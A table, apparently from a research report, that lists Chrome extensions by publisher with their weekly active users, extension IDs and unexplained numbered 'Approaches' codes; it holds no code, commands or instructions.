Wasup Translator - Translate WhatsApp Messages	328	ifhamodfnpjalblgmnpdidnkjjnmkbla	1, 5
Free VPN For Chrome - HavenSurf VPN	1,000	ihikodioopffhlfhlcjafeleemecfmab	5
TelePlus - Multi-Accounts Sender	8,000	ihopneheidomphlibjllfheciogojmbk	1, 2, 5
Keywords Explorer For Google Play Store (ASO)	2,000	ijegkehhlkpmicapdfdjahdmpklimdmp	6
Mass follow for Twitter	1,000	ijppobefgfjffcajmniofbnjkooeneog	1, 5
Etsy Customer Service Helper with ChatGPT	506	ikddakibljikfamafepngmlnhjilbcci	5
Telegram Group and Channel Search Tool	7,000	ilpgiemienkecbgdhdbgdjkafodgfojl	1, 2, 5, 7
NoteGPT: Udemy Summary with ChatGPT & Claude	8,000	indcipieilphhkjlepfgnldhjejiichk	1, 2, 5
Volume booster - Volumax	2,000	ioklejjbhddpcdgmpcnnpaoopkcegopp	6
AmzGPT: Amazon listing edit	4,000	jijophmdjdapikfmbckmhhiheghkgoee	5
TTNote: Video Downloader and Saver	30,000	jilgamolkonoalagcpgjjijaclacillb	1, 2, 5
GS Helper For Google Search Google Scholar	2,000	jknbccibkbeiakegoengboimefmadcpn	5
WASender - WA Bulk Message Sender	1,000	jlhmomandpgagmphfnoglhikpedchjoa	1
ai celebrity voice clone	572	jlifdodinblfbkbfmjinkpjieglkgfko	1
WAPlus CRM - Best WhatsApp CRM with AI	60,000	jmjcgjmipjiklbnfbdclkdikplgajhgc	1
Save Webpage As PDF	10,000	jncaamlnmeladalnajhgbkedibfjlmde	5
Etsy™ Reviews Extractor	1,000	jobjhhfnfkdkmfcjnpdjmnmagepnbifi	5
AI Image Generator: Get AI Art with Any Input	1,000	jojlhafjflilmhpakmmnchhcbljgmllh	5
TG Sender - TG bulk message send and invite	20,000	kchbblidjcniipdkjlbjjakgdlbfnhgh	1, 2, 5
QR Code Generator	25	kdhpgmfhaakamldlajaigcnanajekhmp	1
Browser VPN - Free and unlimited VPN proxy	7,000	kdjilbflpbbilgehjjppohpfplnapkbp	5
Summary Duck Assistant	1,000	kdmiipofdmffkgfpkigioehfdehcienf	1, 2
FindNiche - aliexpress™ dropshipping & analytics tool	1,000	kgggfelpkelliecmgdmfjgnlnhfnohpi	2, 3, 5
LinkedRadar - Email Finder for LinkedIn ™	50,000	kgpckhbdfdhbkfkepcoebpabkmnbhoke	1, 5
WA - Download Group Phone Numbers	4,000	khajmpchmhlhfcjdbkddimjbgbchbecl	1, 5
WA Self Sender for WhatsApp Web(Easy Sender)	10,000	khfmfdepnleebhonomgihppncahojfig	1
GPT for Ecom: Product Listing optimizer	20,000	khjklhhhlnbeponjimmaoeefcpgbpgna	1, 2, 5
IG Follower Export Tool - IG Tools	100,000	kicgclkbiilobmccmmidfghnijgfamdb	1, 2, 5
WhatsApp Realtime Translate&Account Warm Up&Voice message Transcript	1,000	kifbmlmhcfecpiidfebchholjeokjdlm	1, 5
WA Group Sender	10,000	kilbeicibedchlamahiimkjeilnkgmeo	5
FindNiche - Shopify™ store traffic analysis	7,000	kiniklbpicchjlhhagjhchoabjffogni	1, 2, 3, 5, 7
Telegram Restricted Content Downloader	7,000	kinmpocfdjcofdjfnpiiiohfbabfhhdd	1, 2
website broken link and 404 error checker	10,000	kkjfobdnekhdpmgomkpeibhlnmcjgian	1, 2, 5
TG Content Downloader - download telegram restricted files	983	kljkjamilbfohkmbacbdongkddmoliag	1, 5
Comment Assistant In LinkedIn™	978	kmchjegahcidgahijkjoaheobkjjgkfj	5
Tab Manager - Smart Tab By NoteGPT AI	7,000	kmmcaankjjonnggaemhgkofiblbjaakf	1, 2, 5
WA Number Checker	5,000	knlfobadedihfdcamebpjmeocjjhchgm	1, 2
Telegram downloader - TG Video Photo Download	4,000	kofmimpajnbhfbdlijgcjmlhhkmcallg	1
WA Group Link Finder	2,000	kpinkllalgahfocbjnplingmpnhhihhp	1, 2
One-Click Search Ozon Similar Products	96	laoofjicjkiphingbhcblaojdcibmibn	5
WADeck - WA AI ChatBot &WhatsApp Sender	40,000	lbjgmhifiabkcifnmbakaejdcbikhiaj	1, 5
AliNiche Finder&ChatGPT Review Analysis	484	ldcmkjkhnmhoofhhfendhkfmckkcepnj	5
Fashion Model-AI Model Generator For Amazon	1,000	ldlimmbggiobfbblnjjpgdhnjdnlbpmo	1, 5
WhatsApp Group Management Pro - Export, Broadcast & Monitor Suite	20,000	ldodkdnfdpchaipnoklfnfmbbkdoocej	1, 2, 5
Photo download & Save image	8,000	leiiofmhppbjebdlnmbhnokpnmencemf	5
Aliexpress Customer Service Helper	191	lfacobmjpfgkicpkigjlgfjoopajphfc	5
Find WhatsApp Link - Group Invite Link	10,000	lfepbhhhpfohfckldbjoohmplpebdmnd	5
Yahoo - optimize listing & AI Writer	69	lgahpgiabdhiahneaooneicnhmafploc	5
Amazon Finder&ChatGPT Review Analysis	821	lgghbdmnfofefffidlignibjhnijabad	5
AI Resume Builder - LinkedRadar	10,000	lijdbieejfmoifapddolljfclangkeld	1, 4
Article Summary with ChatGPT and Take Notes	8,000	llkgpihjneoghmffllamjfhabmmcddfh	1, 2, 5
AliNiche - AliExpress™ Product Research Tool	30,000	lmlkbclipoijbhjcmfppfgibpknbefck	1, 2, 5
ModelAgents - AI Fashion Models Generator	5,000	lmnagehbedfomnnkacohdhdcglefbajd	5
Gmail Address Check & Send Verify Tool	2,000	lmpigfliddkbbpdojfpbbnginolfgdoh	5
WA Number Checker - Check & Verify WA Number	5,000	lobgnfjoknmnlljiedjgfffpcbaliomk	1
Free AI Voice: Best Text to Speech Tool	1,000	lokmkeahilhnjbmgdhohjkofnoplpmmp	5
IG Email Extractor - Ins Followers Exporter	3,000	lpcfhggocdlchakbpodhamiohpgebpop	1, 5
WA Bulk Sender	5,000	mbmlkjlaognpikjodedmallbdngnpbbn	1
YouTube Comment Summary with ChatGPT OpenAI	3,000	mcooieiakpekmoicpgfjheoijfggdhng	5
Ad Library - Ads Spy Tool For YouTube™	2,000	mdbhllcalfkplbejlljailcmlghafjca	5
Schedule Email by Gmail	862	mdndafkgnjofegggbjhkccbipnebkmjc	1, 5
Feature Graphic Downloader for Play Store	546	meibcokbilaglcmbboefiocaiagghdki	5
One-Click Search eBay Similar Products	75	mjibhnpncmojamdnladbfpcafhobhegn	5
Twiclips - Twitch Clip Downloader	8,000	mjnnjgpeccmgcobgegepeljeedilebif	1, 2, 5
Auto Connect for LinkedIn™ - LeadRadar	1,000	mliipdijmfmbnemagicfibpffnejhcki	1
Easy Web Data Scraper	40,000	mndkmbnkepbhdlkhlofdfcmgflbjggnl	1, 2, 3, 5
wa privacy	68	nccgjmieghghlknedlgoeljlcacimpma	1
Ad Library - Ads Spy Tool For Pinterest™	2,000	ndopljhdlodembijhnfkididjnahadoj	5
Universal Keyword Planner box	5,000	niaagjifaifoebkdkkndbhdoamicolmj	1, 2, 5
AdLibNote: Ad Library Downloader Facebook™	30,000	niepmhdjjdggogblnljbdflekfohknmc	1, 2
WA Group Sender & Group Link Scraper	1,000	nimhpogohihnabaooccdllippcaaloie	1, 2
Ad Library - Ads Spy Tool For Twitter™	1,000	nkdenifdmkabiopfhaiacfpllagnnfaj	5
TikTok Video Tags Summary with ChatGPT	860	nmccmoeihdmphnejppahljhfdggediec	5
Image Zoom Tool	5,000	nmpjkfaecjdmlebpoaofafgibnihjhhf	1, 2, 5
ChatSider:Free ChatGPT Assistant(GPT4)	1,000	nnadblfkldnlfoojndefddknlhmibjme	7
Telegram Channels - TG Channel Link Search	1,000	nnbjdempfaipgaaipadfgfpnjnnflakl	5
H1B Sponsor Checker, Job Seek - LinkedRadar	463	noiaognlgocndhfhbeikkoaoaedhignb	1, 4, 5
WAContactSaver	7,000	nolibfldemoaiibepbhlcdhjkkgejdhl	1
vk video downloader - vkSaver	10,000	npabddfopfjjlhlimlaknekipghedpfk	1, 2, 5
Multi Chat - All Chat In One For You - SocialPlus	1,000	oaknbnbgdgflakieopfmgegbpfliganc	1, 2, 5
Twitch Channel Points Auto Claimer -Twiclips	3,000	ocoimkjodcjigpcgfbnddnhfafonmado	5
WalmartHunt-Walmart Dropshipping Tools	4,000	oeadfeokeafokjbffnibccbbgbjcdefe	1, 2, 5
TTAdNote: Download and Save Ad No Watermark	8,000	oedligoomoifncjcboehdicibddaimja	1, 2, 5
Discordmate - Discord Chat Exporter	20,000	ofjlibelpafmdhigfgggickpejfomamk	5
Social Media Downloader - SocialPlus	4,000	ofnmkjeknmjdppkomohbapoldjmilbon	1
NoteGPT: ChatGPT Summary for Vimeo	5,000	oihfhipjjdpilmmejmbeoiggngmaaeko	1, 2, 5
Aliexpress search by image	5,000	ojpnmbhiomnnofaeblkgfgednipoflhd	1, 2, 5
Privacy Extension for WhatsApp Web	4,000	okglcjoemdnmmnodbllbcfaebeedddod	1
Denote: Save Ads TikTok & FB Ad Library	40,000	okieokifcnnigcgceookjighhplbhcip	1, 2
Allegro Customer Service Helper with Open AI	13	olfpfedccehidflokifnabppdkideeee	5
LinkedRadar - LinkedIn Auto Connect Tool	198	onjifbpemkphnaibpiibbdcginjaeokn	1
WAPI - Send personalized messages	20,000	onohcnjmnndegfjgbfdfaeooceefedji	1
Entrar for Gmail™	5,000	oolgnmaocjjdlacpbbajnbooghihekpp	5
Group exporter 2	19	opeikahlidceaoaghglikdpfdkmegklg	1
Keyword Finder-SEO keywords Tool	5,000	oppmgphiknonmjjoepbnafmbcdiamjdh	5
Search Engine Featuring ChatGPT - GPT Search	775	pbeiddaffccibkippoefblnmjfmmdmne	1, 5
Amazon Price History Tracker - AmzChart	737	pboiilknppcopllbjjcpdhadoacfeedk	5
Shopify Wise - Shopify analytics & Dropship tool	762	pckpnbdneenegpkodapaeifpgmneefjd	5
Vimeo™ Video Downloader Pro	70,000	penndbmahnpapepljikkjmakcobdahne	5
DealsUpp - Contact Saver for WA	2,000	pfomiledcpfnldnldlffdebbpjnhkbbl	1, 5
Profile Scraper - Leadboot	2,000	pgijefijihpjioibahpfadkabebenoel	1
-com Remove Background	105	pgomkcdpmifelmdhdgejgnjeehpkmdgl	1
EasyGood - Free Unlimited VPN Proxy	1,000	pgpcjennihmkbbpifnjkdpkagpaggfaa	5
FindNiche - AliExpress™ Data Exporter	114	pjjofiojigimijfomcffnpjlcceijohm	5
Share Preview Save to Social	419	pkbmlamidkenakbhhialhdmmkijkhdee	1, 3
Voice Remaker - The Best AI Generator	10,000	pnlgifbohdiadfjllfmmjadcgofbnpoi	1, 5
Pincase-Pinterest Video & Image Downloader	10,000	poomkmbickjilkojghldlelgjmgaabic	5
Ad Library - Ad Finder & Adspy Tool	30,000	ppbmlcfgohokdanfpeoanjcdclffjncg	5
YouTube Video Tags Summary with ChatGPT	908	ppfomhocaedogacikjldipgomjdjalol	1, 5

ExtensionsBox

Name	Weekly active users	Extension ID	Approaches
Amazon Reviews Extractor	1,000	aapmfnbcggnbcghjipmpcngmflbjjfnb	1, 2
Target Images Downloader	100	adeimcdlolcpdkaapelfnacjjnclpgpb	2
Airbnb Images Downloader	433	alaclngadohenllpjadnmpkplkpdlkni	1, 2
eBay Reviews Extractor	200	amagdhmieghdldeiagobdhiebncjdjod	2
Lazada Images Downloader	363	bcfjlfilhmdhoepgffdgdmeefkmifooo	1, 2
Shopify2Woo - Shopify to WooCommerce	543	bfnieimjkglmfojnnlillkenhnehlfcj	1, 2
Group Extractor	3,000	bggmbldgnfhohniedfopliimbiakhjhj	1, 2
Shein Reviews Extractor - Scrape Data to CSV	388	bgoemjkklalleicedfflkkmnnlcflnmd	1, 2
Airbnb Reviews Extractor	86	bklllkankabebbiipcfkcnmcegekeagj	1, 2
eBay Images Downloader	863	bkpjjpjajaogephjblhpjdmjmpihpepm	1, 2
Indeed Scraper	2,000	bneijclffbjaigpohjfnfmjpnaadchdd	1, 2
Shein to Shopify CSV Exportor	130	cacbnoblnhdipbdoimjhkjoonmgihkec	1, 2
Justdial Scraper	1,000	ccnfadfagdjnaehnpgceocdgajgieinn	1, 2
AI Review Summarizer - Get ChatGPT Review Analysis in One Click	24	cefjlfachafjglgeechpnnigkpcehbgf	2
Booking Hotel Scraper	123	cgfklhalcnhpnkecicjabhmhlgekdfic	1, 2
Contact Extractor for wa	2,000	chhclfoeakpicniabophhhnnjfhahjki	2
AI Reviews Summary for Google Maps	17	cmkkchmnekbopphncohohdaehlgpmegi	2
AliExpress Images Downloader	938	cpdanjpcekhgkcijkifoiicadebljobn	1, 2
Shopy - Shopify Spy	2,000	dehlcjmoincicbhdnkbnmkeaiapljnld	1, 2
Profile Scraper for LinkedIn™	473	dmonpchcmpmiehffgbkoimkmlfomgmbc	1, 2
Trustpilot Reviews Extractor	481	eikaihjegpcchpmnjaodjigdfjanoamn	1, 2
Indeed Review Extractor	17	ejmkpbellnnjbkbagmgabogfnbkcbnkb	1, 2
AliExpress Reviews Extractor	409	elcljdecpbphfholhckkchdocegggbli	1, 2
Etsy Reviews Extractor	306	fbbobebaplnpchmkidpicipacnogcjpk	2
Post Scraper	34	fcldaoddodeaompgigjhplaalfhgphfo	2
Images Downloader for WM	707	fdakeeindhklmojjbfjhgmpodngnpcfk	1, 2
Twitch Chat Downloader	132	fkcglcjlhbfbechmbmcajldcfkcpklng	1, 2
Costco Images Downloader	35	fpicpahbllamfleebhiieejmagmpfepi	1, 2
Etsy Images Downloader	1,000	gbihcigegealfmeefgplcpejjdcpenbo	2
Yelp Scraper	347	gbpkfnpijffepibabnledidempoaanff	2
Lazada Reviews Extractor	102	gcfjmciddjfnjccpgijpmphhphlfbpgl	1, 2
Shopee Reviews Extractor	484	gddchobpnbecooaebohmcamdfooapmfj	2
Comments Exporter for Ins	47	gdhcgkncekkhebpefefeeahnojclbgeg	1, 2
Wayfair Images Downloader	169	ggcepafcjdcadpepeedmlhnokcejdlal	2
Amazon Images Downloader	1,000	ggfhamjeclabnmkdooogdjibkiffdpec	1, 2
Shein Images Downloader	3,000	ghnnkkhikjclkpldkbdopbpcocpchhoi	1, 2
Reviews Extractor for WM	369	gidbpinngggcpgnncphjnfjkneodombd	2
Zillow Scraper - Agent & Property Export	308	gjhcnbnbclgoiggjlghgnnckfmbfnhbb	2
G2 Reviews Extractor	189	hdnlkdbboofooabecgohocmglocfgflo	1, 2
X Jobs Scraper	35	hillidkidahkkchnaiikkoafeaojkjip	1, 2
Booking Reviews Extractor	201	iakjgojjngekfcgbjjiikkhfcgnejjoa	1, 2
Shein Scraper	1,000	ibbjcpcbjnjlpfjinbeeefbldldcinjg	1, 2
Shopee Images Downloader	966	idnackiimdohbfkpcpoakocfkbenhpdf	2
Yellow Pages Scraper	2,000	iijgmfjjmcifekbfiknmefbkgbolonac	1, 2
Booking Images Downloader	27	ilcbmjpkggalcdabgpjacepgmkpnnooh	1, 2
Likes Exporter for Ins	126	jdfpnhobcnlokhaoihecmgmcnpjnhbmm	1, 2
Job Scraper for LinkedIn™	1,000	jhmlphenakpfjkieogpinommlgjdjnhb	2
Wayfair Reviews Extractor	186	jjmejjopnabkbaojcijnfencoejjaikb	1, 2
XExporter - Export Twitter Followers	908	kfopfmdjhlpocbhhddjmhhboigepfpkg	1, 2
Costco Reviews Extractor	31	lbihigmoeinmajbmkbibikknphemncdl	1, 2
Pinterest Images Downloader - Pinterest Video Downloader	2,000	lephhdmcccfalhjdfpgilpekldmcahbb	1, 2
Shein to Woo CSV Exportor	66	lhjakenfnakjjfgfcoojdeblfmbpkocf	1, 2
Image & Video Downloader for Ins	358	ljgaknjbenmacaijcnampmhlealmbekk	2
Comments Exporter	307	llcgplklkdgffjmhlidafnajbhbohgen	1, 2
Yelp Reviews Extractor	59	mnmjkjlaepijnbgapohecanhklhoojbh	1, 2
TKCommentExport - Export TikTok Comments	1,000	monfhkhegpjfhcmjaklhnckkhlalnoml	1, 2
Chats Backup for wa	1,000	najkpicijahenooojdcnfdfncbaidcei	2
Slack™ Member Extractor	497	nbhjfblpkhiaiebipjcleioihpcclaea	1, 2
Glassdoor Scraper	387	ndnomcanokhgenflbdnkfjnhaioogmdk	1, 2
Maps Scraper & Leads Extractor	646	nhefjmaiappfgfcagoimkgmaanbimphd	1, 2
Followers Exporter for Thread	174	nhlcgpbandlddfdmabpjinolcgfbmkac	2
Bulk Barcode Generator	105	odipjjckdnfbhnnkdacknhpojbabaocb	1, 2
Followers Tracker for Ins	7,000	ohfgngkhbafacegaaphcinpgmnmjknff	1, 2
Airbnb Scraper	124	ohgfipogdmabijekgblippmcbfhncjgn	2
TripAdvisor® Review Scraper	1,000	pkbfojcocjkdhlcicpanllbeokhajlme	2
Bulk QR Code Generator	154	pnmchlmkjhphkjnbjehfgdagonbjpipg	1, 2

Lazytech

Name	Weekly active users	Extension ID	Approaches
Twitter Comment Export Tool	1,000	ajigebgoglcjjjkleiiomgbogggihibe	1, 2
AliExpress Images Downloader	1,000	ajnfoalglmknolmaaipgelpbdpcopjci	1, 2
Slack Translator Pro	475	ajoplaibmnoheaigdnfbagfchnnjkicc	1, 2
Whatsapp Translator Pro	2,000	bnbighhfhbnkoinbakcadadhjhjhnogo	1, 2
Discord Translator Pro	2,000	bpgmpnpdklkcdgiemflkhfhbcibbimhh	1, 2
Threads Followers Exporter	447	cackmcfbjdjnicnoifjcbpbidfnodfid	1, 2
Telegram™ Translator - Immersive Translation	1,000	cadnjdgggbmgmiokgmbngklhlldabhom	1, 2
Twitter Auto Unfollow Tool	1,000	cdejkfmlkpdipdjlookbmifhlihdefld	1, 2
FB Group Export Tool	1,000	cfkelnkpomgldoeoadoghdjcejdknilb	1, 2
Etsy Images Downloader	367	clcjlefnlochgjgmhkkmggojbcckloel	1, 2
Snapchat Translator Pro	58	degekmdjhceighgpmeociiolpbpdfmkk	1, 2
Skype Translator Pro	30	dheinobepcdickihlphioifoadnnlddn	1, 2
YouTube™ Comment Translator Pro	2,000	dkleeapinhlpifbijbppjcbgiolpagjd	1, 2
IG Followers Exporter	2,000	dncpodlbhbfeckciihiifmfpepleaked	1
Contact Saver for WhatsApp	2,000	dnoeodfoipnecbnnjhgoopnheicjlemm	1, 2
FB Messenger™ Translator - Immersive Translation	1,000	eeagfonlpjdegifbbipcnbhljledonnc	1, 2
Twitter AutoFollow Pro	1,000	elnglbaphfoebenjdbkalpgghijpnklp	1, 2
IG Auto Liker	1,000	fajlpeonkickmgcbmpnmdofghngjphac	1, 2
IG Auto Unfollow	1,000	fcapaeipdkdbongbphfbccnegbcbilah	1, 2
Indeed Scraper	44	fedomnahgimendnjeifhhgehimjidnof	1, 2
Lazada Images Downloader	1,000	fgefgonmnflpghpipmaajgagfekcdljp	1, 2
IG HashTag Export Tool	1,000	gddkmjkdanijaiogljcfnhaolephjfcj	1, 2
FB Messenger Translator Pro	1,000	gfmklfdiaiefelfoklndfcchmdopjcke	1, 2
TG Downloader - Photos, Videos, Audios	1,000	gihehopmfgnaknmbabddbkkebbaopeee	1, 2
Bumble Swipe Bot - Auto Filter & Swipe	955	gikinafmdccpecjbmnbjkeiadcabffpb	1, 2
Twitter Followers Exporter	1,000	giplfbjnmilhalcaehoblaegpkgembpi	1
Twitch Translator Pro	1,000	gmaglilejboehglachimajmepgjckjng	1, 2
Shein Images Downloader	1,000	hamgafmfcmaipelffjbdgikejedlnbmm	1, 2
eBay Images Downloader	1,000	hedppplfdackfbdjienfgbmecbnldijl	1, 2
IGEmail - Instagram Email Scraper	1,000	hgonoojgigfaikonjkhchoklgjoiphio	1, 2
Twitter Follower Export Tool - Export Followers / Following	1,000	hncbinceehncflccpnanfdnbinhjlleh	1, 2
IGFollower - IG Follower Export Tool	2,000	iindafjcdjddenmiacdelomccfblfllm	1, 2
FB Comments Export Tool	1,000	inooeahlmjlhjdblojocgcoohmpjbhif	1, 2
IG Auto Follower - Auto Follow / Unfollow	1,000	ipmahbofhgomnebimjlocmemobaamnfp	1, 2
Apollo Exporter	867	joainhjiflchdkpmfadbencgeedodiib	1, 2
Temu Images Downloader	1,000	jonloekipbhbjfcdpicecchjhhoidncn	1, 2
TikTok Follower Export Tool	1,000	kcoglbpmmjallcceanhiafgdlhofocml	1, 2
Twitter Comments Exporter	1,000	kdcgillnpmlfacikljeafiikgcpdjiha	1
IG Growth Pro - Auto Follow & Unfollow	2,000	kdibmenfbafnmjineglfmlbnmckhceej	1
Telegram Translator Pro	1,000	kkafjojibijigkcpgiidnphfnhdnopnf	1, 2
Twitter Auto Unfollow	1,000	lfofoljipingdgmjdmleonbnkecfbjli	1
Discord Chat Export Tool	1,000	lmoceiadfbnpofjbmgemloenlfkhhbhl	1, 2
Amazon Images Downloader	1,000	mjkalljfgchhnjekdgkennpimdobfjfa	1, 2
Twitter Auto Follower - Auto Follow / Unfollow	1,000	mmaekkgncaflnfaimjaefjohpgneagnh	1, 2
Twitch™ Translator - Immersive Translation	1,000	ndjfdohpdlajffmmhdlifafoihibnokb	1, 2
Discord™ Translator - Immersive Translation	1,000	nenhidhfpjbccpbikiceenfnchkhljmd	1, 2
IG Comment Export Tool	1,000	ngigmhodcdcjohafngokbkmleidkigfn	1, 2
IG Comments Exporter	1,000	nogopabibhapbfcnlfeandndkalcjkik	1
Slack™ Translate	253	ogeieigjomecilgfebkdbgdckfpbjfah	1, 2
IGEmail - Email Extractor and Scraper for Ins	1,000	ohhcmiegflabbcfihgjkkndpgijmpghk	1
IG Auto Like Tool	1,000	ohocmgfknbibgiiijhokjifkhpgpahbb	1, 2
IG HashTags Exporter	1,000	pgbenbeencahnighlkhingagogpjjdbh	1, 2
Whatsapp™ Translator - Immersive Translation	1,000	phafeggjhdhfcmlanhmgbmcbgocapnik	1, 2
TikTok Comment Export Tool	1,000	pjjldehmkcnmmkldjielbonlnmbkomlm	1, 2
IG Unfollow Pro	1,000	pmlkkhcpimkhgalapkfpiknklhalkoeo	1
Tinder Swipe Bot - Auto Filter & Swipe	644	poocdjijjpnkcmhjecpeicdhljbmgddc	1, 2

Yue Apps

Name	Weekly active users	Extension ID	Approaches
Etsy Images Downloader	115	aakfimfbjikfkfeokmamllkomlejnpdi	1, 2
Export Twitter Follower	1,000	amflfbkcoeanhfcdcbebeimpjnoebakn	1, 2
Export TikTok Followers	378	bdhcflkeglekljebdpanedpgeojpfefj	1, 2
IG Auto Follow	19	cpfdfhmnheohcfiddlpjgjjdhgmnnali	1
Twitter Unfollower	536	eilkgadngbcjchnpmndgafhaihmohfho	1, 2
Twitter Auto Follow-Unfollow	447	fmkhphcddlhkmggaldkibecjmgpkbpdl	1, 2
Shein Scraper	26	gpbhomcniappgbcehfedaliofagbfado	1, 2
IG Auto Like	1,000	hmgfjlghckknhafggpnnniffdiggdmpd	1, 2
IG Follower Export Tool	3,000	iacchdhbljnmihoeeelcgljnajfafpkh	1, 2
IG Auto Follow	928	icjfkeibgfjfkdfjjgafpkpfplpnbidc	2
Contacts Exporter for WhatsApp	28	ifhjahdgkdcpeofnamflcpdkadijbifl	1
IG Auto Follow	5,000	iiaohnpoogjkomcdkhdfljgpglejpaad	1, 2
Shein Images Downloader	1,000	lphjpapkpnhhffgobpekcmeanpompeka	1, 2
IG Auto Unfollow	77	mpmpkpbmimeinhimdkbcecbbmgcacndp	1, 2
TwExport - Export Tweets From Any Account	972	nahaggbplpekgcbbnemjlpnnmpmhnfkh	1, 2
Export Group Members for Facebook	40	oakdlcfhapgllacidemajdmmdcjfbiig	2
Unfollowers Pro	3,000	onkeebndjchpacfplcfojadeedlfdime	1, 2, 7
Export Tweet From Any Account	167	opbkmlokpjccgjmffhpndbjahhkbnhon	1

Chrome Extension Hub

Name	Weekly active users	Extension ID	Approaches
TG Sender - telegram messages bulk sender	462	baghjmiifdlhbnfiddfkoomfkhmiamle	1, 2
IGEmail - Email Extractor and Scraper	1,000	cnjelbflcpdehnljcmgolcbccfhgffbn	1
Ins Comment Bot - instagram automated comment bot	22	dlfigaihoneadjnenjkikkfehnpgbepo	1, 2
IGFollow - Follower Export Tool	546	efjeeadgcomeboceoedbfnnojodaonhj	1, 2
IGCommentsExport - Export Comment for IG	39	fahielldgamgakbecenbenagcekhccoj	1
Unsubscriby for Youtube	42	gcmfheliiklfcjlbnmeahfhmcbjglncl	1, 2
Airbnb Scraper	32	ioblhofpjfjbfffbibgkjiccljoplikf	1, 2
TG Downloader - Telegram Video Download	2,000	kockkcmeepajnplekamhbkgjomppgdhp	1, 2
IGPost - Export Instagram photos and videos	70	mdhgjlmpioeeainbfmodgcaajgchapnm	1, 2

Infwiz

Name	Weekly active users	Extension ID	Approaches
WAAutoReply - Web Automatic Reply Assistant	47	bilbhjhphaepddlmheloebigdkafebmg	1, 2
Reaction Exporter - Extract Like, Love, etc.	168	cddgoecgoedcodpohjphbhfdhojlpfik	1, 2
WAChecker - Check, Verify & Filter Number	3,000	cmelkcfmckopkllanachmbnlfpkhnjal	1, 2
IGGrowth - auto follow and unfollow	1,000	eggdbehenjijmhlbiedecgkehgeilemo	1, 2
IGCommentsExport - Export Comment for IG	5,000	ejneclajijjhnnelphnggambomegmcpd	1
Jobs Scraper for Indeed	16	fbncpljgpiokofpgcedbfmbnpdmaofpj	2
Job Scraper for LinkedIn™	64	hhddcmpnadjmcfokollldgfcmfemckof	1, 2
Social Profile Info - User Info Lookup From URLs & IDs	47	jcmhjgllmdnlfabkppegglnmkmlheopp	1, 2
Chewy Reviews Scraper - Images	8	jhgpmldoffheafnogmaihhgjpoecmgea	1, 2
Comment Exporter - Extract Comments	866	knpbmoflfeeokanhpkiofaoaohpgfbjh	1, 2
Message Sender - Web Sender	7,000	ldhmkpfefdgmbgmmcldnnjokfjjnldmf	1
Download Group Phone Numbers	8,000	mhlmhjlkpioopoipgbmcmiblopmmecjc	1
Friend Exporter - Extract friends list	993	ncekbecnpnoiapeghdneaihmeokakpdp	1, 2
Zillow Scraper - Extract Data from Zillow	2,000	nlieamdebnjhijflpbkbaijnjpdpieoh	1, 2
Friend Requests Sender	201	padhkflcigakphahffhcgfnfiddimngo	1, 2
IGFollow - Follower Export Tool	100,000	pkafmmmfdgphkffldekomeaofhgickcg	1, 2

NioMaker

Name	Weekly active users	Extension ID	Approaches
Friend Requests Sender	113	bgdjlbjaemhokfkkjiplclhjjbmlhlof	1, 2
Lead Exporter for Apollo	2,000	fhlfdnhddefmfmmehofnbnkmcbgdlohn	1
Yelp Scraper: Scrape Yelp business data	46	fnoknmcjgfgepgngbkeefjgeikbdenki	1, 2
Followers Everywhere for LinkedIn™️	38	kdopjbndoijfnnfijfkfponmllfomibn	1

FreeBusinessApps

Name	Weekly active users	Extension ID	Approaches
Twitch Chat for Full Screen	4,000	bgopmpphpeghjpififijeoaojmmaiibh	6
Free Time Clock for Google Chrome™	3,000	bhcdneenlaehgbonacefkpjddbomfpkj	6
SQLite Viewer	9,000	bpedjnknnoaegoaejefbodcdjmjkbbea	5
ESports Tournament Schedule	111	caocacliklpndkcbdcbfcjnelfaknioi	6
Volume Booster	1,000	cejhlkhieeooenehcfmcfgpcfjdhpkop	1, 2
Sketchpad for Google Chrome	7,000	dbhokcpgjhfjemonpglekkbmmjnkmolf	6
Audio Equalizer for Youtube™	20,000	dcjnokfichnijppmkbgpafmdjghibike	1
Notepad - Take Notes And Weekly Planner	10,000	dfiojogmkjifkcckhabcedniponnmifp	6
Rubiks Cube for Google Chrome	9,000	dlabgdldanmcjlmnifgogbnffionmfki	6
CSS Selector	10,000	dobcgekgcmhjmfahepgbpmiaejlpaalc	6
Icon Finder	1,000	eblcidnbagkebkmakplgppmgecigpaef	5
Enable JavaScript	10,000	egljjlhdimceghlkloddalnlpgdgkboj	6
Page Marker for Google Chrome™	6,000	ejfomipinjkencnfaaefmhgkipphodnc	6
Customized Scrollbar	977	elchgoiagofdppjcljnecjmekkkgjhhi	6
Compress Video Files	10,000	gbffnccbjahakeeailfjmdbhnccklcgp	6
Password Generator	4,000	gbgffmpdbclmicnofpdbdmmikppclhmf	6
Speaker Booster	8,000	gkfjamnmcjpbphincgfnagopcddfeakd	1
Fast Search for Google Drive™	443	glhpjfhpachnbgipcookemmoocedfjgp	6
Dark Mode for Messenger	273	hajjeoobbdpmbicdnkpoggllfebkmbfb	6
Earth 3D View Map	8,000	hfnflfnjflibmhoopdbndehehbhgjcem	6
Reactions for Google Meet	40,000	hicfolagolebmjahkldfohbmphcoddoh	6
Date Time	7,000	hjiajhckbofggdeopalpnpmapekkjcmi	6
Image Editor	10,000	hpiicbccakkjfojofhjcjhbljnafdfbg	4
Picture in Picture for Videos	20,000	icmpjbkbjlbfpimllboiokakocdgfijb	6
Mute Tabs	2,000	ijidbphagpacfpkhgcjfbdjohkceanea	6
Copy To Clipboard	8,000	imjkddkepakidnmolhmpfldheaiakojj	6
Tab manager	3,000	iofngkkljgebpllggmdpcldpifhdckkg	6
Online Radio for Google Chrome™	4,000	jlfegkfcihbbpiegahcpjjidojbhfglo	6
Custom Dark Mode 3.0 for Youtube, Facebook	795	jpgkbhploimngoikjnmggchkcekleehi	1, 2
Make Text Readable for Google Chrome™	1,000	kicekkepbmfbaiagdcflfghmnnachmdg	6
Online Download Manager	10,000	kilhigaineblocfbpikplhgaacgigfnb	6
Gmail Adblocker	1,000	kkddllkaglcicbicjlobbhmjjangamjh	5
Testing Reading Speed	4,000	kmkdgnfgallnjpdldcmplbggbmkgcgdl	6
User Agent Switcher	1,000	lbdmdckajccnmklminnmlcabkilmhfel	5
Highlighter for Google Chrome™	50,000	lebapnohkilocjiocfcaljckcdoaciae	6
Free Spell Checker for Google Chrome™	20,000	ljgdcokhgjdpghmhdkbolccfcfdbklpo	6
IMDB Ratings on Netflix	314	lkfapihkchheoddiodedjlapfdnmgkio	6
Adjust Screen Brightness for Browser	5,000	lkomnldkbflfbkebenomadllalainpec	6
Timer for Google Meet	10,000	lmkdehdoopeeffkakbbkfcmmhmeoakpk	6
